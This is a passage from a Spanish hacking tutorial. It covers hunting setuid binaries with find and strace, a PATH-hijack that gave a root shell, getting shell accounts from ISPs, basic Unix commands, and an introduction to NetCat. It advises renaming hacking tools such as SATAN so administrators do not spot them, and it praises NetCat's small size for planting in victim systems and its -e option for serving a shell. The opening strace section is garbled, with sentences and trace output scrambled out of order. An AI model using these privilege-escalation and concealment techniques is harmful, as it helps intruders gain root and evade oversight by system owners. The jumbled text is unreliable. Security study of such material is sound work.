que cumplan con esta condición: ~$ find /usr/ -uid 0 -perm +4000 -print o también: ~$ find / \( -perm -4000 -fprintf /root/suid. lo mejor es usar las herramientas disponibles para nosotros. Podemos ver como actúa strace en el siguiente ejemplo: 167 . strace strace es una herramienta muy útil que nos puede ayudar a descubrir fallos en algunos programas y que viene en cualquier distribución Linux. Con esto intentamos encontrar algún tipo de desbordamiento de pila que permita la ejecución. Tenemos que buscar un programa en el sistema que esté setuidado y averiguar qué opciones de comando acepta. A continuación llamaremos al programa probando a pasarle una gran cantidad de datos en cada una de sus opciones. Strace que se usa para diagnóstico y de depuración. Según la distribución Linux. es más satisfactorio poder encontrar una vulnerabilidad por nosotros mismos y poder llegar a root. Esta es la forma más fácil y rápida. Conociendo la versión.

 22) = 22 write(2. pero es mejor usar strace para esto. strace tiene muchas opciones. veremos lo que descubrió Ismael Briones cuando uso strace en un programa de Oracle: El programa estaba setuidado a root.0.cache". ­1.:$PATH para que se empezase a buscar el ejecutable en su directorio personal. 27) = 27 write(2. [/* 33 vars */]) = 0 brk(0)                                  = 0x804e000 access("/etc/ld. F_OK)      = ­1 ENOENT (No such file or directory) mmap2(NULL.0. para rastrear los forks. para indicar el tamaño de las cadenas a mostrar.0. Se pueden capturar las llamadas al sistema. ["nc". Ambas utilerías nos ayudan a investigar los programas de nuestro sistema para encontrar un fallo de seguridad. "Orianna [127.0. Por ejemplo. lo único que hizo fue añadir al principio de la variable PATH=. pero las más útiles serán -f. 4096. Con la opción -o le decimos que nos cree un archivo de texto con el nombre del programa. 168 .txt hping2 Con la opción -c le indicamos a strace que coloque en columnas las llamadas. Ahora lo probaremos con el NetCat y unas opciones ~$ strace -o nc.1] 100 (?)". el programa invocaba a otro programa mediante una llamada. O_RDONLY)      = 3 .~$ strace hping2 Lo que hace stace es ponernos todo el rastreo línea por línea. -s. no todas. El fallo del programador fue que no se incluyó el path del programa que se quería ejecutar por lo que se empezaba a buscar en función de la variable de entorno PATH.1) para mostrarnos un rastreo de los puertos 100 al 200. write(2.1 100-200 En negrillas tenemos invocado el programa NetCat (nc) con sus opciones doble verboso (-vv). Usemos strace con ciertas opciones: ~$ strace -c -o arch. "127.0. " sent 0. 15)         = 15 write(2. En su ejecución.nohwcap". y al final ponemos el programa que queremos rastrear. ya más real. -p.so. 0) = 0xb7fcb000 open("/etc/ld. Como el programa se ejecutaba como root. rcvd 0". Otra herramienta es ltrace.0. "\n"..so. " : Connection refused\n". Con el uso de strace se pudo ver al programa recorriendo cada uno de los directorios de la variable PATH intentando infructuosamente ejecutar el segundo programa. para indicar un archivo de salida.txt nc -vv 127. que nos posibilita enganchar el strace a un proceso en ejecución y otras más que ayudan a filtrar la información.1". que hace el programa nc al sistema y detectar si existe algún fallo en la ejecución. tuvo que copiar /bin/sh a su directorio personal y renombrarlo con el nombre que obtuvo con el strace. intentando conectarse al localhost (127. por ejemplo. 1)                       = 1 exit_group(0)                           = ? Podemos ver algunas de las llamadas. que ayuda a interceptar las llamadas a librerías que se usan tras la ejecución de un proceso.0. "­vv". De esa manera obtuvo un shell de root instantáneo de una manera sencilla. PROT_READ|PROT_WRITE. "­z". el conteo de tiempo y los errores en un reporte. -o.0. MAP_PRIVATE|MAP_ANONYMOUS. Como Ismael sabía el nombre del programa. "100­200"]. El resultado que nos muestra strace es: execve("/usr/bin/nc"..

Unix es más elegante y poderoso. En sus inicios. Como mencionamos. Si una persona desea realmente acceder a las entrañas de la informática tiene que saber UNIX. los entornos tipo UNIX fueron relegado al casi olvido. en virtud de que en un sistema UNIX un Shell es un programa que interactúa con el kernel y el usuario. Cuenta Shell es un término que pudiera llegar a confundir a más de uno. Unix es un Sistema Operativo muy potente y es el lenguaje por excelencia del Internet. veremos como alguno nos confirmará que dispone de cuentas Shell. será todavía más fácil que puedan darnos una cuenta Shell. La Caza del ISP Tendremos que recurrir a los ISP que aparecen en las páginas amarillas de la guía telefónica. pero no fueron erradicados del todo. Unix es muy parecido al DOS (o MS-DOS). Con paciencia. se accedia a Internet a través de una cuenta Shell UNIX mediante comandos poco familiares a los usuarios y un entorno gráfico muy frio. Si encima de todo. Ahora queda pedir que se nos otrogue una. una cuenta Shell nos permite usar nuestra computadora como si de una terminal se tratara. El punto es que este tipo de cuentas adquiere un valor específico porque sabemos que los comandos que tecleamos son enviados a una computadora UNIX. Esto nos abre un mundo de posibilidades hasta ahora desaprovechadas.Cuentas Shell Una cuenta Shell es lo que muchos han considerado el nirvana de la informática. El mal uso que se hace de estas cuentas hace que haya recelo en cuanto a facilitar estos servicios. Nos posibilita introducir comandos UNIX como si estuvieramos en el mismo equipo. el Shell puede ser el conjunto de de logins y passwords. pero cuando se habla de cuentas Shell. el Shell de UNIX es el programa que traduce lo que tecleamos en comandos UNIX. Buscando Una Cuenta La búsqueda de sitios que nos puedan ofrecer una cuenta Shell es una ardua tarea en virtud de que los comandos usados permiten un control de la cuenta misma. ya que consta de un prompt que permite teclear comandos. Como recomendación se puede recurrir a ISPs pequeños y locales. Este es un primer golpe que haría a más de uno abandonar la empresa de búsqueda. Aparentemente. 169 . Esto no debe desalentarnos. o al menos el de Linux. se puede acceder a ebooks o tutoriales en línea sobre Unix y el Shell. Anteriormente uno podía llamar por teléfono a ISP y pedir una. Pero a diferencia de DOS. En esos tiempos no existían los gráficos a color ni las ventanas. Cuando se nos pregunte para qué la queremos. El problema que encontramos es que este tipo de cuentas son difíciles de conseguir dado que los ISP temen que se haga un uso malintencionado de ellas. conseguimos una ISP orientada a estudiosos de Internet. pero es solamente en el aspecto donde ambos sistemas se parecen. Si uno no está familiarizado con este entorno. Hay que tomar en cuenta que en ciertos ambientes informáticos. Cuando estas caracteristicas se volvieron de uso común. se encienden las alarmas y se genera suspicacia y recelo. que son los que tienen menos reparos en concedernos una. Con la cuenta Shell adecuada podremos disfrutar del uso de una estación de trabajo (workstation) mucho más poderosa que nos irá preparando para cuando se requiera mandar al diablo al Sistema de Bill gates e instalar Unix o Linux en nuestras máquinas. Para darnos una idea. lo más probable es que nos cuelguen el teléfono aunque mencionemos que somos ávidos amantes del entorno UNIX.

Es conveniente que cuando nos pregunten el porqué de nuestro interés en una cuenta Shell contestemos que nos gusta navegar en Internet mediante Lynx y que estamos cansados de tener que estar esperando a que se carguen tantas gráficas de imagen o applets de Java. Si disponemos de una cuenta Shell aparecerá un mensaje en pantalla pidiendo que nos identifiquemos. Si hacemos una búsqueda por Internet escribiendo "Free Shell" (incluyendo las comillas). Lo que tenemos que hacer en este caso. de lo poco que ofrecen las cuentas gratuitas. que también nos permite aprovechar las cuentas Shell internas. hay que dejar "telnet". si profundizamos podremos ver ligas que nos conduzcan a servicios de pago. ya que muchos usuarios se quejan. veremos entre los resultados los enlaces suelen ser engañosos y que casi ninguno de ellos nos dará respuesta real a nuestras espectativas.net Gerry:~$ 170 . seleccionemos conectar con sistema remoto. con lo que si estás estudiando por el momento.lovvu. Por ejemplo. Será más o menos parecido a esto: Welcome to ATT ATT.mx sería poner com. Y que además nos gusta llevar nuestro email con Pine y que para los newsgroups estamos encantados con tin. podemos intentarlo con las tres últimas partes de la dirección electrónica. Si falla. Existe la probabilidad de que el propietario de este ISP se solidarice con nosotros. si nuestro correo es nombre@att.com. No debería ser problema desenvolverse en inglés tampoco. En puerto. será solicitar una cuenta guest temporal gratuita (de invitado) para que podamos evaluarla por un período de prueba.0. aunque lo más fácil es recurrir a los que vienen en nuestro sistema como lo puede ser Telnet que viene con Windows que ya revisamos en el capítulo sobre Telnet. Desde luego. en tipo de terminal ponemos "VT100". En caso de sentir que Unix es un sistema muy complicado podemos hacer uso de Linux. Pero una de las posibilidades que pasamos por alto es que tengamos una cuenta Shell en nuestro sistema y no lo sepamos. La forma de saberlo es consiguiendo un programa que nos permita la conexión a la cuenta Shell. Sin embargo. debemos reconocer que si podemos conseguir una cuenta Shell de un ISP será mucho mejor que si la tenemos en nuestro propio sistema. después de lo que supone conseguir una. si las cuentas están alojadas en servidores extranjeros (Rusia o Checoslovaquia). en última instancia podrmos instalar en nuestra propia máquina algún tipo de UNIX y usar las cuentas Shell que vienen con el sistema operativo.mx.com. Login: Password: Linux 2. Le damos a "Conectar" y esperamos.mx como nombre de Host. Cuando lo ejecutamos. se puede aprovechar este medio accediendo a la sección de informática para estudiantes e investigar si ofrecen cuentas Shell. Hay muchos en el mercado. Si estamos dispuestos a pagar por ello. Aquí se nos pedirá el nombre del Host y escribiremos las últimas dos partes de nuestra dirección de email. Sin embargo. podremos acceder a cuentas por una suma que no deja de ser simbólica para aquella persona con un genuino interés en desarrollarse como usuario del Shell de UNIX. Cuentas Shell En Nuestro Sistema Si no queremos complicarnos la existencia con los métodos anteriormente mencionados. También podemos intentarlo con las universidades ya que suelen disponer para sus alumnos cuentas para que hagan pruebas. Los más probable es que pueda haber más problemas en la búsqueda de una cuenta con garantías de darnos todo el potencial que puede ofrecernos.0 Last login: Thu Nov 10 19:02:00 on ttyp5 from zn30. uno debe hacer de tripas corazón.

casi todas las cuentas Shell están configuradas de tal modo que tenemos que exponer nuestro password a cualquiera que haya colocado un Sniffer entre el ISP que ofrece la conexión PPP (Point to Point Protocol) y el ISP de nuestra cuenta Shell. Pero la realidad es que no veremos este prompt a menos que el Sysadmin (el administrador del sistema) se haya quedado dormido o nos esté gastando una broma. lo más seguro es que alguna de las opciones impresas en la pantalla sea la de acceder al Shell. Otras causas por las que podríamos perder la cuenta son por hacer un surfeo de puertos excesivos. nos encontramos ante entornos "case sensitive". Recordemos que con NetCat y Telnet podemos hacer un surfeo de puertos. aunque realmente dependerá del ISP en el que estemos. Seremos enviados al ostracismo por haber infringido la ley. cuenta Shell". es necesario seguir unas pautas para no perderla y tener que seguir todo el proceso desde cero. Desafortunadamente. Una solución es buscar un proveedor de cuentas Shell que utilice ssh (Secure Shell) que son las que habilitan el acceder y copiar archivos a máquinas remotas de forma segura (también nos permitirá canalizar cualquier conexión TCP/IP de manera similar a una VPN) ya que ambos extremos de la comunicación se autentifica mutuamente mediante el uso de un protocolo muy ligero y relativamente sencillo. es decir. Por ejemplo. No Abusar del ISP. lo más habitual es que se ponga en contacto con los administradores de nuestro ISP y "Hasta la vista.Si nos aparece algo como lo anterior. Hay que tener en consideración que cuando hagamos login a nuestra cuenta tendremos que ser cautelosos en cuanto a la escritura de nuestro identificador ya que al tratarse de cuentas basadas en Unix. El símbolo # es la tarjeta de presentación del superusuario en control del root y se pueden hacer cualquier tipo de cambios en la computadora. Y si no vemos tan claramente la opción de Shell en el menú. Sin embargo. Surfeo exagerado de Puertos. Si finalmente podemos hacer login nos podrá aparecer un prompt '#' Shell de Unix en pantalla o menú. que distinguen las letras mayúsculas y minúsculas. Incluso puede ser un truco por parte del Sysadmin. ya que cuando hacemos Telnet a nuestra cuenta Shell alguien puede utilizar un Sniffer para averiguar nuestra contraseña y acceder a nuestra cuenta. Lo mismo ocurre si queremos hacer un ping como algo más que una herramienta de diagnóstico. Nunca hay que utilizar la cuenta Shell para fastidiarle la vida a las personas en irc mediante nukes o cualquier otra artimaña. lo más importante es atesorarla. Es muy probable que logremos el objetivo de llegar a root. No Perder la Cuenta Shell En caso de conseguir una Shell. aunque esto suele ser el último recurso dado que es un poco humillante para alguien que se dice experto en informática. No usar pings. 171 . No es lo mismo Gerryson que gerryson o que GERRYSON. Lo importante es que se nos pida un una identificación con la palabra login. pero tras bambalinas el Sysadmin está observando todos nuestros movimientos con el control de la situación. Ahora nos encontraremos con un pequeño problema de privacidad y seguridad en cuanto a las passwords que escribamos. ya que se permite hacer cosas en el sistema con la creencia de que se es root. Si aparece logon o algo similar. Lo primero es no abusar de nuestro ISP. no tenemos mas que levantar el teléfono y llamar al nuestro ISP para que nos oriente en cómo hacerlo. si encontramos un código malicioso y lo compilamos y ejecutamos en nuestro ISP es un error de magnitud bíblica. sin embargo. la fortuna está de nuestra parte. existe el problema de que si el administrador del sistema se percata que se está curioseando de más en casi todos los puertos. Si lo que aparece es el menú. comparado con el VPN actual. al día siguiente las probabilidades de que no podamos entrar nuevamente son altas. Al tener la cuenta en nuestro poder. sabremos que no se trata de una cuenta Shell. con lo que será conveniente que utilicemos un programa que nos permita encriptar los datos del password.

Cómo Explorar La Cuenta Shell Una buena forma de empezar es averiguar qué tipo de cuenta shell tenemos. siempre podemos aprender gran cantidad de cosas con esta herramienta al igual que con el NetCat. 172 . y no vamos más lejos de lo que ese puerto nos ofrece. Pero puede que el administrador de sistemas ejecute los programas para ver lo que hacen. Hay muchas cuentas shell y cada una de ellas tiene pequeñas diferencias en su forma de trabajar. seremos historia. podrías renombrar SATAN y llamarlo ANGEL. Si descubre que alguno de los programas es una herramienta comúnmente usada para cometer delitos informáticos. Pero para llegar a ser un hacker serio. Los registros de nuestras visitas se guardan en el archivo "messages. es legal usar SATAN. averiguar el daemon que funciona en cada una (el programa que responde a la petición de acceso a ese puerto) y estudiar las debilidades que esta pueda tener. Para hacerlo abrimnos una consola y tecleamos ~$ echo $SHELL Respuesta /bin/sh /bin/bash /bin/ksh /bin/csh Tipo de Shell shell Bourne shell Bourne Again (bash) shell Korn shell C Si el comando "echo $SHELL" no funciona." y algunas veces en "syslog" dependiendo de la configuracion de la computadora a la que incursionemos . el SATAN puede ser usado por administradores de sistemas para buscar posibles vulnerabilidades y cerrar brechas en su máquina. ¿Para qué conseguir una cuenta shell si pueden sacarnos a patadas incluso por practicar un hackeo legal e inofensivo? Después de todo. Si verdaderamente queremos llegar a ser administrador de sistemas algún día. existen lugares que permiten usar este tipo de programas. como el Satan (Security Administration Tool For Analyzing Networks) cuya función es hacer de telnet a todos los puertos de la computadora. No emplear o almacenar software sospechoso. En fin. cuentas Shell con gente estudiosa del tema que nos permite hacer experimentos de todo tipo en ese lugar. deberemos aprender cómo funcionan esos programas. las cuentas shell son una especie de pista de entrenamiento de hackers. De hecho. sirven para aprender mucho. podemos probar con echo $shell. Obviamente. debemos encontrar un ISP gestionado por hackers que nos acepten y nos dejen hacer todo tipo de cosas a modo de experimentos. Normalmente está bien si brevemente visitamos otra computadora vía telnet. usando minúsculas. incluso aunque se usen principalmente para cometer delitos. o un experto en seguridad informática. Son buenas para aprender cosas de principiante. Una solución a este problema es darle a las herramientas hackers que usamos nombres inocentes. La mayoría de las herramientas hackers. pero también puede ser utilizado por gente sin escrúpulos (lamers). Aún así.Algo que aprendimos es que el escaneo de puertos indiscriminado deja rastros en los logs del sistema. Por ejemplo. Una forma de pedir a gritos silenciosos que nos cierren la cuenta es emplear programas concebidos para cometer delitos informáticos.

Con las opciones -alF se nos permitirá ver la lista de archivos con mayor información. y "mv" para moverlos. Si esto no funciona. Podemos obtener la cuenta shell bash simplemente con teclear la palabra "bash" en la línea de comandos. "tcsh" para la shell Tcsh. Si se encuentra este comando.¿Por qué es importante saber qué shell tenemos? Por ahora. y "zsh" para la shell Zsh. ~$ cd <directorio> Va al directorio indicado. no estamos obligados a usar siempre la shell que teníamos en el momento de realizar el login. 173 . Pero más adelante. "sh" para la shell Bourne. "ksh" para la shell Korn. Un libro excelente sobre el uso de la shell Bash es Learning the Bash Shell." ~$ chmod <nombre de archivo> Cambia los permisos de un archivo. Si no existen. La shell que resulta más facil de usar es la bash. ~$ pwd Muestra en qué directorio estamos. Si la cuenta shell es de cierta calidad. la shell C puede ser de más utilidad. también deberían estar "cp" para copiar archivos. Es similar a los comandos "find" y "locate". que son similares. Para esto necesitamos aprender los comandos UNIX y los programas auxiliares más importantes. queremos una shell que sea fácil de usar. /bin y /etc. Afortunadamente. Si es una lista de archivos grande podemos usar el comando ls -alF|more. Comandos similares son "egrep. recibiremos como respuesta "command not found. rm <nombre de archivo> Borra un archivo." y "look. ~$ grep Extrae información de archivos. También podemos usar "less" y "cat". ~$ ls Lista archivos. ~$ vi Un complicado programa de edición. lo siguiente es explorar. Por ejemplo. podremos escoger una nueva shell. cuando cometemos un error al teclear. ~$ whereis <nombre de programa> Encuentra programas o archivos. de Cameron Newham y Bill Rosenblatt. Véase el capítulo sobre UNIX y Linux." Ahora que hemos escogido nuestra shell. podemos probar con teclear en la consola de comandos: "csh" para la shell C." "fgrep. es bueno poder usar la tecla de retroceso y no ver ^H^H^H en la pantalla del monitor. podemos preguntar a soporte tecnico de nuestra ISP cómo configurar la cuenta para usar bash. Algunos directorios interesantes son /usr. para ejecutar exploits de hacker de élite. Las Diez herramientas más famosas según Meinel para explorar la cuenta shell ~$ man <comando> Este comando nos muestra el manual de los programas u otros comandos en pantalla. Si queremos averiguar de qué otras shells disponemos. Debemos saber de qué riquezas nos permite disfrutar nuestra ISP. especialmente util para ver qué hay en archivos de syslog y de log de la shell. ~$ more <nombre de archivo> Muestra el contenido de un archivo de texto.

Una de las mayores ventajas de NetCat es que permite al usuario que averigüe sus secretos más íntimos. NetCat no es un programa que pueda ser usado por cualquier persona. utilizando el ingenio. El verdadero secreto de su poder radica en el buen manejo que se le dé. Lo curioso es que Weld le llamó NetCat 1. En el archivo de ayuda se hallan algunos ejemplos muy elementales solamente. Berkeley y System V.0. Es más grande y más flexible y tiene más opciones que deben ser configuradas para una efectuar una determinada tarea. sbd.Introducción al NetCat NetCat es una utilería para Linux y Winxx que fue escrita originalmente para sistemas Unix. Ahora bien. NetCat puede leer y escribir datos a través de conexiones de red utilizando el protocolo TCP o el protocolo UDP. el bisturí de un cirujano o la regla de un arquitecto. A pesar de que tiene 13 años circulando por el mundillo de los hackers. Entender esta utilería es amarla dicen algunos. NetCat fue hecho con la finalidad de servir de ayuda a los administradores de redes y fue programado en C. los conocimientos acumulados y una dosis bastante fuerte de imaginación.10 que no se ha modificado desde esa vez. Cryptcat es una versión de NetCat de transporte integrado con capacidades de encriptación. el aura de misterio que rodea al NetCat desaparece. Es análoga a la ganzúa del ratero. Descripción y Funciones Son muchas las funciones que el programita posee. Posteriormente viene la parte de la imaginación. Si a alguien hay que darle las gracias por tan fina herramienta de trabajo. NetCat tiene infinidad de funciones. 174 . ¿Que otras funciones le podemos asignar? ¿Que más podría hacer? El hacking no es más que probar nuevas posibilidades. y si se baja el código fuente puede ser compilado para agregarle otras funcionalidades especiales. si se estudian detalladamente las variables. Su diminuto tamaño o hace ideal para ser introducido en sistemas víctimas sin hacer arrancar alarmas de penetración del sistema. existen versiones modificadas o utilerías similares que tienen por nombres de comando nc. Fue contrabandeado para usarse en Win95. NetCat ha sido la estrella principal en cientos de ataques. Socat es más complejo que NetCat. socket. principalmente porque la estructura de sus comandos y opciones es poco familiar para el usuario medio. Win98. En su gran sencillez es una obra maestra de impecable funcionalidad y pesa tan solo unos cuantos kilobytes y es aquí donde el conocido aforisma de que no hay enemigo pequeño se hace verdad. es el tipo de herramienta que quienes lo emplean van aprendendiendo sobre la marcha sus funciones y utilidades y es por esa razón que existen muy pocos documentos escritos acerca de su uso. Está diseñado para ser una herramienta "de atrás" confiable que puede ser usada directamente o con soltura propulsada por otros programas y puede incluirse dentro de scripts SH (en Unix) o batch (en ms-dos). NetCat es la gran Herramienta imprescindible en el mundo de la seguridad informática. dificilmente será entendida por lamers o niñitos advenedizos que ni siquiera saben lo que quieren en la vida. El código fuente es libre y cualquiera lo puede manipular sin olvidar dar el crédito a sul creador. NetCat es plenamente compatible con POSIX y existen varias implementaciones. Hay muchos lugares donde se puede descargar. Ha sido llamada la Navaja Militar Suiza multiusos en virtud de la gran versatilidad y potencia contenida en tan mínimo espacio y con tan poco código. ncat. Es como la pistola de un policía. ese es Hobbit quien lo sacó a la luz pública en 1995 y en marzo de 1996 liberó la versión 1. WinXP y NT por Weld Pond de L0pht. sock. incluyendo una reescritura desde cero conocida como GNU NetCat. socat. En algunos sistemas. que es mantenida por Giovanni Giacobbi en su página web. pnetcat. La naturaleza de los comandos utilizados. En un principio.

Esta versión (NetCat 1. así NetCat es posiblemente la aplicación "UDP tipo telnet" soñada para probar servidores de Modo-UDP. Los datos son luego enviados al host. Con limitaciones menores. NetCat debería haber salido desde hace mucho tiempo como otra de esas herramientas crípticas. o usar el protocolo UDP en su lugar. escuchando conexiones de entrada en puertos arbitrarios y luego haciendo las mismas lecturas y escrituras. de Unix. es más pequeño.Al mismo tiempo. se envía a nuestra salida estándar. Trabaja con líneas de comandos desde MS-DOS (o desde el Shell de Linux). puede hacer casi cualquier cosa sobre TCP/IP. En cualquier modalidad. NetCat crea una conexión TCP para el puerto dado en el host blanco dado. o HTTP. Telnet no transferirá datos binarios arbitrarios porque ciertos caracteres son interpretados como opciones de telnet y son removidos del raudal de datos. uno también debe saber cómo defenderse de sus embates. y cualquier cosa que regrese a través de la conexión. En su uso más simple. Así como un hacker puede usar este programa. NetCat proporciona un subsistema de conexión a red básico basado en TCP/UDP que permite a los usuarios interactuar en forma normal o mediante secuencias de comandos con aplicaciones de red y servicios sobre la capa de aplicación. Y por supuesto que telnet es incapaz de escuchar conexiones de entrada. Nos permitirá ver datos TCP y UDP en bruto antes de que sean recubiertos por la siguiente capa superior. Versiones NetCat puede ser descargado en versión para Linux (Sobresaliente e inmejorable in extremis. ¿Porqué no usar Telnet simplemente? Telnet tiene el problema del fin de archivo de introducción de datos estándar. En resumen. pero estándar. Es de notarse que este comportamiento es diferente de la mayoría de las otras aplicaciones que cierran todo y salen después de encontrar un fin de archivo en la entrada de datos estándar.todavía palea datos de acá para allá hasta que no quede nada más. Algunos antivirus detectan al NetCat como si fuera un troyano y para trabajar con él deben ser desactivados primero. Y puede hacer esto por la vía del protocolo UDP también. Esto continúa de modo indefinido hasta que el lado de la red donde está la conexión suspende operaciones. funciona casi perfectamente en Win 95/98 Win98SE y WinXP. NetCat puede abrir puertos y enlazar en ellos a cualquier programa. es una sustanciosa utilería de corrección de errores de red y de exploración dado que puede crear casi cualquier clase de conexión que se necesitaría y posee además varias capacidades interesantes incorporadas. SMTP. a tal grado que uno debe introducir retrasos calculados en scripts controlantes a fin de permitir que la información de salida de la red concluya. Telnet también emite una cierta cantidad de sus mensajes diagnósticos hacia la salida estándar. más rápido que telnet y tiene muchas otras ventajas. donde NetCat mantienen tales cosas separadas religiosamente de su salida y nunca modificará ninguno de los datos reales en tránsito a menos que el usuario realmente lo desee. La especialidad de NetCat es el Protocolo TCP/IP. NetCat también puede funcionar como un servidor. NetCat no tiene ninguna de estas limitaciones. el cierre puede ser obtenido a la fuerza después de un tiempo y puede configurarse de inactividad en el lado de la red. y la versión para Windows le da a la máquina cierto poder sobre este protocolo que solo tenía UNIX.1NT). excepto que las conexiones que reciba no serán muy estables. a NetCat realmente no le importa si corre en modo "cliente" o "servidor" . 175 . y según parece. tal como FTP. es la mejor versión) y para WinNT (simplemente pasable). Ésta es la razón principal por la que NetCat permanece operando hasta que el lado de la red se cierra.

Una persona puede usar una Victorinox para arreglar el coche de otra persona o para desarmarlo. claramente puede usar una herramienta como NetCat para atacar o defender sus frentes. su lado amable. de scripts. que se le de una leída más tarde a los ejemplos de uso y notas incluídos que pueden dar más ideas acerca de lo buena que es esta clase de herramienta. -Puede procesar comandos de programas. por supuesto. -Capaz de enviar datos en modo de transmisión lenta. lo que se conoce como source-routing. Mientras más aleatorio sea el escaneo. pueden ser alimentados como entradas de datos estándar. usando UDP o TCP. Un tiempo equitativo es merecido aquí. Archivos que contienen datos preconstruídos sean exploratorios o explotables. el creador detrás del programa. El Lado Oscuro NetCat tiene su belleza en la simplicidad y funcionalidad con que fue creado. se establece una conexión TCP al puerto especificado. el usuario debe ser consciente de estas amenazas sobre los sistemas propios.Habilidades básicas de NetCat -Conexiones hacia o desde el exterior. Sin tener en cuenta las intenciones turbias que alguien pudiera tener. considera a los numerosos programas y scripts que acompañan al NetCat como cintas adhesivas "masking tape". 176 . Así. La primera cosa que salta a la vista es el uso de NetCat para escanear vulnerabilidades del servicio en la red de alguien. dado que una herramienta tan versátil como ésta puede ser útil para cualquier situación. con las advertencias correspondientes -Uso de cualquier puerto local -Uso de cualquier dirección a la que se tenga acceso en la red local -Habilidad de rastrear puertos. Dentro de este documento recopilatorio se repasarán muchos de los fundamentos básicos y avanzados acerca del buen uso de NetCat. podremos decir que existen muchos protocolos de red que están comenzando a parecerse de manera repentina a clavos. será necesario por no decir imperativo. Si NetCat puede considerarse un gigantezco martillo. y del usuario. con el servidor especificado. La línea básica de comandos para NetCat es nc [opciones] host puertos donde host es la dirección IP que se desea analizar y puertos es o un determinado puerto o un rango de puertos o una serie de puertos separados por espacios. como lector y estudioso. Hablar de los usos que una persona conocedora le puede dar a esta utilería es como tratar de describir todo lo que podemos hacer con nuestra navaja militar suiza. No trato de controlar el punto de vista social de nadie ni ser guía moral de nada. con su respectiva variable u opción al más puro estilo Unix. -Verificación de DNS normal o en reversa. basándonos en los servicios de NetCat. También. en modo hexadecimal. Hobbit. ¿correcto? Una persona cualquiera. incluso de manera aleatoria -Capacidad de decidir que camino tomarán los paquetes enviados. su lado oscuro y unen al universo por completo. Estas cintas tienen. de datos transmitidos y recibidos -Capacidad de dejar que otro programa maneje conexiones ya establecidas -Opcionalmente responde a opciones características de telnet -Creación de nuevas herramientas. detectores de scanners o filtrado dinámico. que es el comando principal. incluyendo argumentos de línea de comandos a NetCat mismo. NetCat simplemente se construyó como un implemento. hacia o desde cualquier puerto. más difícil será la detección por humanos. a modo de "encaminarlos". una línea cada N segs -Monitoreo y presentación. Uso General El programa ejecutable (o el binario en Linux) se llama "nc".

si analizamos el código de estos programas podemos observar un nc por ahí. logrando ejecutar todas las ordenes necesarias para explotar determinados servicios. Claro que no se puede confiar en conexiones UDP como con las que utulicen TCP. esto significa que el programa en cuestión necesita una versión correctamente compilada de NetCat en el directorio /usr/bin. Telnet cierra la conexión cuando el usuario o algun programa parece tomar control mediante la introducción de datos. donde se necesita calcular un tiempo de espera para evitar que telnet interrupta la salida de datos. permitiendo enviar el código a cualquier puerto vulnerable con un sencillo comando. No modificará la corriente de datos de ninguna manera. ciertos sistemas pueden tener problemas al transmitir cantidades grandes de datos. es más pequeño y veloz. Muchos ScriptKiddies se sienten frustrados y amargados porque muchos de los Scripts y Exploits que bajan perezosamente de la Internet simplemente no les funciona. porque ciertos caracteres son interpretados como opciones de telnet. y tiene muchas más ventajas. y haciendo el mismo proceso de entrada y salida de datos. así que NetCat puede considerarse un programa parecido a telnet que puede usarse para diagnosticar servidores que funcionen en modo UDP. Inclusive. y serán removidas de la corriente de datos. Telnet no puede esperar conexiones del exterior. En ambos modos. Tratándose de una herramienta que funciona con líneas de comandos. el programa Helix3 para la investigación forense contra crímenes informáticos. a menos que se le indique lo contrario. Esto lo puede hacer tambien vía UDP.Lo que se le introduzca a NetCat vía standard input (entrada estándar) va a ser dirigido al servidor. y lo que reciba NetCat como respuesta será dirigido a nosotros vía standard output (salida estándar). Telnet tampoco transimita información binaria arbitraria. NetCat jamas meterá sus propios mensajes junto con los datos transmitidos. NetCat tambien puede funcionar como servidor. NetCat va a seguir mandando datos que le introduzcamos. usan NetCat como "motor" para manejar las conexiones. Seguirá transmitiendo y recibiendo datos hasta que ya no haya más. puede forzarse la desconexión al configurarse cierto tiempo de inactividad del otro lado. Escuchando intentos de conexión a los puertos que elijamos. NetCat no tiene estas limitaciones. NetCat es excelente para implementar exploits remotos. Esto es evidente en scripts.pero no deja de ser útil esta capacidad. Se puede decir que a NetCat funciona de la misma forma en modo de servidor que de modo de cliente. y recibiendo datos de otro extremo de la conexión hasta que esta se cierre. 177 . su integración con un lenguaje de programación le permite realizar una gran cantidad de tareas. El uso de NetCat tiene sus ventajas sobre el uso de telnet al conectarse a puertos arbitrarios. ni tampoco usar UDP en lugar de TCP. y sus posibilidades se van descubriendo dia a dia con su inclusión en nuevos Scripts y Exploits. paths o utilidades necesarias para su buen funcionamiento. NetCat y Programación Esta combinación desencadena todo el poder de NetCat en su máxima expresión y elegancia. utiliza dentro de sus herramientas internas una versión ligeramente modificada del NetCat. Varios exploits que circulan hoy en Internet. Ésta es la razon principal por la cual NetCat sigue activo hasta que el otro lado cierre la conexión. Telnet tambien transmite ciertos mensajes de diagnostico que presenta en la pantalla junto con el resto de los datos. Esto sucede principalmente porque no saben interpretar el código y por lo tanto son incapaces de efectuar las modificaciones necesarias para incluir librerias.

12. pero sigue escuchando aún cuando la conexión sea cerrada) Esta opción está incluida solo en la versión de Weld Pond y es útil para continuar escuchando en el mismo puerto. L (lo mismo que la anterior. up to 8 num source-routing pointer: 4.. re-listen on socket close numeric-only IP addresses. . o<logfile> (obtiene un archivo log en Hex de la acción) Genera un Log de las actividades de NetCat en código Hexadecimal.. p<puerto> (Puerto para pegarse) Algunas veces debes especificarle con ésta opción el puerto a realizar una acción. a diferencia de -l (que la conexión cerrada termina con el proceso de nc). e<prog> (Ejecuta un programa cuando se conecta) Puede ser utilizado para ejecutar un Shell en cualquier plataforma. no DNS file hex dump of traffic port local port number randomize local and remote ports addr local source address answer TELNET negotiation UDP mode verbose [use twice to be more verbose] secs timeout for connects and final net reads zero-I/O mode [used for scanning] port numbers can be individual or ranges: m-n [inclusive] d (Modo Stealth o encubierto) Con esta opción el programa se desvincula de la consola con lo que se logra trabajar en el en el fondo del sistema. nc -l -p port [options] [hostname] [port] detach from console. evita que se haga un DNS Lookup) NetCat tiene la característica de resolver nombres de dominio mediante un DNS Lookup. s<ip addr> (pegarse a un IP especifico) NetCat puede utilizar la IP de una red como fuente local.NetCat en Win c:>nc -h connect to somewhere: listen for inbound: options: -d -e -g -G -h -i -l -L -n -o -p -r -s -t -u -v -w -z nc [-options] hostname port[s] [ports] . 178 . this cruft secs delay interval for lines sent... stealth mode prog inbound program to exec [dangerous!!] gateway source-routing hop point[s]. l (Ele minúscula -Escuchando conexiones. de Listen) Deja abierto un puerto en espera de una conexión. 8. ports scanned listen mode. y use solamente direcciones IP. con esta opción le especificamos que no lo haga. for inbound connects listen harder. t (Funciona como un pequeño demonio telnet) Con esta opción NetCat 